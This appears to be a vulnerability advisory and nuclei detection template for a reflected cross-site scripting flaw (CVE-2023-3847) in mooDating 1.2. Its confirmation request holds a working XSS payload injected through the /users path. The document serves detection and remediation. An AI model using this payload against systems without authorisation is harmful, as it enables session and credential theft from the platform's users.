MooDating 1.2 - Cross-Site scripting

mediumseverity

6.1CVSS score

6%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

A vulnerability classified as problematic was found in mooSocial mooDating 1.2. This vulnerability affects unknown code of the file /users of the component URL Handler. The manipulation leads to cross site scripting. The attack can be initiated remotely.

Impact

Unauthenticated attackers can inject malicious JavaScript through the URL Handler in the users component, potentially stealing session cookies and credentials from users of the mooDating platform.

Fix

Update mooSocial mooDating to a version newer than 1.2 that properly sanitizes URL parameters in the users component and encodes output to prevent XSS attacks.

How to confirm it

Send: GET {{BaseURL}}/users/viewi1omd%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3el43yn/108?tab=activity
Positive when: status_code == 404 and contains(content_type, "text/html") and contains_all(body, "><img src=a onerror=alert(document.domain)>","mooDating")

Run it with nuclei: nuclei -id CVE-2023-3847 -u <target>

The full check

id: CVE-2023-3847

info:
  name: MooDating 1.2 - Cross-Site scripting
  author: r3Y3r53
  severity: medium
  description: |
    A vulnerability classified as problematic was found in mooSocial mooDating 1.2. This vulnerability affects unknown code of the file /users of the component URL Handler. The manipulation leads to cross site scripting. The attack can be initiated remotely.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the URL Handler in the users component, potentially stealing session cookies and credentials from users of the mooDating platform.
  remediation: |
    Update mooSocial mooDating to a version newer than 1.2 that properly sanitizes URL parameters in the users component and encodes output to prevent XSS attacks.
  reference:
    - https://packetstormsecurity.com/files/173691/mooDating-1.2-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3847
    - https://vuldb.com/?ctiid.235198
    - https://vuldb.com/?id.235198
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-3847
    cwe-id: CWE-79
    epss-score: 0.05955
    epss-percentile: 0.93342
    cpe: cpe:2.3:a:moosocial:moodating:1.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: moosocial
    product: moodating
  tags: cve2023,cve,packetstorm,xss,moodating,moosocial,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/users/viewi1omd%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3el43yn/108?tab=activity"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 404'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "><img src=a onerror=alert(document.domain)>","mooDating")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from